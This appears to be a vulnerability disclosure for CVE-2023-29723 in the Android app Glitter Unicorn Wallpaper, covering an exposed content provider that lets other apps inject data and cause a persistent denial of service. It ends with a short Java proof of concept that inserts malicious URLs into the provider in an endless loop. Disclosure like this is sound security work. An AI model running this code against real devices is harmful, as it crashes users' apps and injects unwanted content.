Headline
CVE-2023-29723: SO-CVEs/CVE detail.md at main · LianKee/SO-CVEs
The Glitter Unicorn Wallpaper app for Android 7.0 thru 8.0 allows unauthorized applications to actively request permission to insert data into the database that records information about a user’s personal preferences and will be loaded into memory to be read and used when the application is opened. By injecting data, the attacker can force the application to load malicious image URLs and display them in the UI. As the amount of data increases, it will eventually cause the application to trigger an OOM error and crash, resulting in a persistent denial of service attack.
Denial of Service & Escalation of Privileges exists in Glitter Unicorn Wallpaper(CVE-2023-29723)
Vendor:bungaakpstudio007
Affected product:Glitter Unicorn Wallpaper(com.bungaakp007.glitterunicornwallpapers07112020)
Version:8.0 7.0
Download link:https://apkpure.com/cn/glitter-unicorn-wallpaper-4k/com.bungaakp007.glitterunicornwallpapers07112020/download
Description of the vulnerability for use in the CVE:The Glitter Unicorn Wallpaper app for Android 7.0 thru 8.0 allows unauthorized applications to actively request permission to insert data into the database that records information about a user’s personal preferences and will be loaded into memory to be read and used when the application is opened. By injecting data, the attacker can force the application to load malicious image URLs and display them in the UI. As the amount of data increases, it will eventually cause the application to trigger an OOM error and crash, resulting in a persistent denial of service attack.
poc:
public void attack(){ ContentResolver contentResolver = this.getApplicationContext().getContentResolver(); while (true) { Uri uri = Uri.parse(“content://com.bungaakp007.glitterunicornwallpapers07112020/wall/6”); ContentValues contentValues = new ContentValues(); contentValues.put("nama",malicious_url); contentResolver.insert(uri,contentValues); } }